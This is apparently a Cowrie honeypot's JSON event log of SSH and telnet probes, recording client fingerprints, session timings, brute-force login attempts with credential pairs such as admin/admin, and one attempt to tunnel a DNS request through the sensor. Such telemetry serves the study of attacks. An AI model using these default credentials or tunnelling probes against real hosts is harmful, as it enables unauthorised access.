{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:59.227541Z","src_ip":"87.251.64.176","session":"6a7fea8411cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.214993715286255,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:59.620811Z","src_ip":"38.60.198.128","session":"2a1affa968ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46934,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d732e43f0c","protocol":"telnet","message":"New connection: 38.54.119.93:46934 (10.17.0.5:23) [session: e1d732e43f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:59.712121Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:10:59.948209Z","src_ip":"87.251.64.176","session":"6a7fea8411cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:00.056126Z","session":"6a7fea8411cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:00.158224Z","src_ip":"87.251.64.176","session":"6a7fea8411cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:00.261283Z","src_ip":"87.251.64.176","session":"6a7fea8411cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.778080463409424,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:00.299397Z","src_ip":"45.81.23.16","session":"e59b1ba1fdaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50630,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11014c008c5","protocol":"telnet","message":"New connection: 38.60.198.128:50630 (159.203.135.109:23) [session: e11014c008c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:05.346155Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53342,"dst_ip":"159.203.135.109","dst_port":23,"session":"892c2d9f3fc3","protocol":"telnet","message":"New connection: 38.60.198.128:53342 (159.203.135.109:23) [session: 892c2d9f3fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:06.572105Z"}
{"eventid":"cowrie.session.closed","duration":120.00214314460754,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:07.374751Z","src_ip":"177.157.238.18","session":"1fdbcbb10077","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.656832456588745,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:07.424642Z","src_ip":"192.211.53.160","session":"0703977cc755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.77876687049866,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:08.088857Z","src_ip":"38.60.198.128","session":"9057ba45cafc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.157.238.18","src_port":60138,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eded6f0dc3b","protocol":"telnet","message":"New connection: 177.157.238.18:60138 (10.17.0.5:23) [session: 9eded6f0dc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:08.748193Z"}
{"eventid":"cowrie.session.closed","duration":51.514649629592896,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:10.432826Z","src_ip":"38.60.198.128","session":"35c31b4b8105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33462,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9c4865b696c","protocol":"telnet","message":"New connection: 38.60.198.128:33462 (159.203.135.109:23) [session: a9c4865b696c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:12.640841Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60502,"dst_ip":"159.203.135.109","dst_port":23,"session":"4845d9d3555a","protocol":"telnet","message":"New connection: 38.60.198.128:60502 (159.203.135.109:23) [session: 4845d9d3555a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:12.869579Z"}
{"eventid":"cowrie.session.closed","duration":40.27713966369629,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:13.519695Z","src_ip":"192.211.53.160","session":"84d55be7540e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59182,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e1014b1564a","protocol":"telnet","message":"New connection: 38.54.119.93:59182 (10.17.0.5:23) [session: 9e1014b1564a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:18.474069Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":57198,"dst_ip":"159.203.135.109","dst_port":22,"session":"caf8e1b9ac4b","protocol":"ssh","message":"New connection: 198.98.56.205:57198 (159.203.135.109:22) [session: caf8e1b9ac4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:18.552870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:18.561291Z","src_ip":"198.98.56.205","session":"caf8e1b9ac4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:18.566625Z","src_ip":"198.98.56.205","session":"caf8e1b9ac4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Password1","message":"login attempt [user/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:18.619941Z","src_ip":"198.98.56.205","session":"caf8e1b9ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:19.629574Z","src_ip":"198.98.56.205","session":"caf8e1b9ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.75778102874756,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:21.843748Z","src_ip":"38.60.198.128","session":"bf2d667deb26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53838,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fd6cd93a960","protocol":"telnet","message":"New connection: 38.60.198.128:53838 (159.203.135.109:23) [session: 6fd6cd93a960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:27.802333Z"}
{"eventid":"cowrie.session.closed","duration":36.66124892234802,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:30.368504Z","src_ip":"38.60.198.128","session":"88c030b72861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57892,"dst_ip":"159.203.135.109","dst_port":23,"session":"54ba8f9c4c6c","protocol":"telnet","message":"New connection: 38.60.198.128:57892 (159.203.135.109:23) [session: 54ba8f9c4c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:30.938089Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60444,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd11f2d12939","protocol":"telnet","message":"New connection: 38.60.198.128:60444 (159.203.135.109:23) [session: dd11f2d12939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:32.791804Z"}
{"eventid":"cowrie.session.closed","duration":120.00113463401794,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:32.813564Z","src_ip":"38.60.198.128","session":"17f9d7dd820f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60844,"dst_ip":"159.203.135.109","dst_port":23,"session":"d89c4171bc0a","protocol":"telnet","message":"New connection: 38.60.198.128:60844 (159.203.135.109:23) [session: d89c4171bc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:33.126450Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59964,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ed29d274cef","protocol":"telnet","message":"New connection: 38.60.198.128:59964 (159.203.135.109:23) [session: 3ed29d274cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:33.539792Z"}
{"eventid":"cowrie.session.closed","duration":37.21056079864502,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:35.553084Z","src_ip":"38.60.198.128","session":"0f47163e8e8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.84011149406433,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:35.776743Z","src_ip":"38.60.198.128","session":"c0404486eb57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37262,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c6d2b07614d","protocol":"telnet","message":"New connection: 38.60.198.128:37262 (159.203.135.109:23) [session: 4c6d2b07614d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:36.831093Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38082,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa4341947ca6","protocol":"telnet","message":"New connection: 38.60.198.128:38082 (159.203.135.109:23) [session: aa4341947ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:37.387996Z"}
{"eventid":"cowrie.session.closed","duration":120.0025885105133,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:38.151278Z","src_ip":"197.97.45.41","session":"21f6976524e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":10516,"dst_ip":"159.203.135.109","dst_port":22,"session":"4509574aac22","protocol":"ssh","message":"New connection: 94.156.152.18:10516 (159.203.135.109:22) [session: 4509574aac22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:39.324029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:39.329059Z","src_ip":"94.156.152.18","session":"4509574aac22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00130105018616,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:39.336814Z","src_ip":"197.97.45.41","session":"9ebb019a12c2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:39.463617Z","src_ip":"94.156.152.18","session":"4509574aac22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.173537731170654,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:39.535292Z","src_ip":"45.81.23.16","session":"2c3b03e722f1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ8VCPU16GBAMD","message":"login attempt [root/XYZZ8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:39.892362Z","src_ip":"94.156.152.18","session":"4509574aac22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:41.030011Z","src_ip":"94.156.152.18","session":"4509574aac22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.924221992492676,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:42.670710Z","src_ip":"38.60.198.128","session":"faa2c5cc7a22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43476,"dst_ip":"159.203.135.109","dst_port":23,"session":"b769c608fa52","protocol":"telnet","message":"New connection: 38.60.198.128:43476 (159.203.135.109:23) [session: b769c608fa52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:43.976900Z"}
{"eventid":"cowrie.session.closed","duration":45.71102714538574,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:45.423055Z","src_ip":"38.54.119.93","session":"e1d732e43f0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.97.45.41","src_port":39770,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3a1f8d47af","protocol":"telnet","message":"New connection: 197.97.45.41:39770 (159.203.135.109:23) [session: db3a1f8d47af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:45.453495Z"}
{"eventid":"cowrie.session.closed","duration":51.98208713531494,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:46.625314Z","src_ip":"38.60.198.128","session":"c4956d362ed2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.15389442443848,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:47.499939Z","src_ip":"38.60.198.128","session":"e11014c008c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.54364228248596,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:49.115626Z","src_ip":"38.60.198.128","session":"892c2d9f3fc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57674,"dst_ip":"159.203.135.109","dst_port":23,"session":"b26eb46d38df","protocol":"telnet","message":"New connection: 38.60.198.128:57674 (159.203.135.109:23) [session: b26eb46d38df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:53.297779Z"}
{"eventid":"cowrie.session.closed","duration":40.876376152038574,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:53.517101Z","src_ip":"38.60.198.128","session":"a9c4865b696c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54476,"dst_ip":"10.17.0.5","dst_port":23,"session":"811d42aec621","protocol":"telnet","message":"New connection: 38.54.119.93:54476 (10.17.0.5:23) [session: 811d42aec621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:54.500484Z"}
{"eventid":"cowrie.session.closed","duration":43.58750081062317,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:56.456938Z","src_ip":"38.60.198.128","session":"4845d9d3555a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":32828,"dst_ip":"159.203.135.109","dst_port":23,"session":"47eae4e7d6e2","protocol":"telnet","message":"New connection: 38.60.198.128:32828 (159.203.135.109:23) [session: 47eae4e7d6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:56.637970Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36626,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c0cb4a0d249","protocol":"telnet","message":"New connection: 38.60.198.128:36626 (159.203.135.109:23) [session: 7c0cb4a0d249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:11:58.958969Z"}
{"eventid":"cowrie.session.closed","duration":6.275569438934326,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:00.775922Z","src_ip":"38.54.119.93","session":"811d42aec621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39600,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d690612a9d1","protocol":"telnet","message":"New connection: 38.60.198.128:39600 (159.203.135.109:23) [session: 1d690612a9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:04.657324Z"}
{"eventid":"cowrie.session.closed","duration":34.36406350135803,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:07.903752Z","src_ip":"38.60.198.128","session":"3ed29d274cef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00401949882507,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:11.027457Z","src_ip":"38.60.198.128","session":"f4c4c1566b4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.26849913597107,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:12.206478Z","src_ip":"38.60.198.128","session":"54ba8f9c4c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.79076290130615,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:12.264693Z","src_ip":"38.54.119.93","session":"9e1014b1564a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.80850863456726,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:12.934831Z","src_ip":"38.60.198.128","session":"d89c4171bc0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50804,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f97e665994","protocol":"telnet","message":"New connection: 38.60.198.128:50804 (159.203.135.109:23) [session: e4f97e665994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:13.313076Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39008,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce01d77bff8f","protocol":"telnet","message":"New connection: 38.54.119.93:39008 (10.17.0.5:23) [session: ce01d77bff8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:12:13.786323Z"}
